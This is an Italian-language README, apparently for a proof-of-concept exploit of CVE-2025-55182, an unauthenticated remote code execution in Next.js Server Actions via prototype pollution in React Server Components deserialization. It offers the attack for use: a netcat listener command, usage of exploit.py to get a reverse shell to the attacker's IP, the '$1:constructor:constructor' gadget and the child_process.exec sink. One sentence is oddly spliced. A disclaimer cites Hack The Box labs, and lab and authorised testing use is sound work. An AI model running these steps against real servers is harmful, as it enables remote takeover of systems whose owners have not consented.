
So, probabilmente sei qui da Hack the Box, se è così, sì, questo funziona davvero.
Una proof-of-concept (PoC) per CVE-2025-55182, che mira a una vulnerabilità di Remote Code Execution (RCE) non autenticata nelle Server Actions di Next.js.
Questo exploit abusa della prototype pollution durante la deserializzazione dei payload multipart dei React Server Components (RSC) per iniettare comandi dannosi nel processo Node.js utilizzando un flusso di esecuzione asincrono e non bloccante.
child_process.exec() invece delle API bloccanti execSync() per prevenire il blocco dei thread sui nodi container.requests di Python.Apri un terminale sul tuo host di attacco e avvia un listener socket netcat per catturare la connessione inversa in arrivo:
nc -lvnp 4444
Fornisci l'URL di base del target, l'indirizzo IP della tua interfaccia host locale e la porta del listener desiderata:
python3 exploit.py <target_url> <your_ip> [your_port]
python3 exploit.py http://website.whatever:port x.x.x.x 4444
Lo script invia un payload multipart grezzo e appositamente costruito direttamente all'endpoint di routing dell'applicazione con l'header di routing Next-Action richiesto.
Sfruttando le firme di costruzione degli oggetti tramite {"get":"$1:constructor:constructor"}, il motore di deserializzazione inquina l'albero degli oggetti nativi. Durante l'elaborazione dei parametri associati, interpreta il blocco di contesto _response incorporato in modo dannoso come una coda di istruzioni, consentendo l'esecuzione del codice con i privilegi del contesto utente del server Node in esecuzione.
// Vettore target sottostante:
process.mainModule.require('child_process').exec('your_payload_here');
Questo script è creato strettamente per scopi educativi, test di sicurezza autorizzati e per catturare flag vulnerabili su laboratori come Hack The Box. L'autore non è responsabile per qualsiasi uso improprio, intrusioni di sistema non autorizzate o danni causati da questo strumento.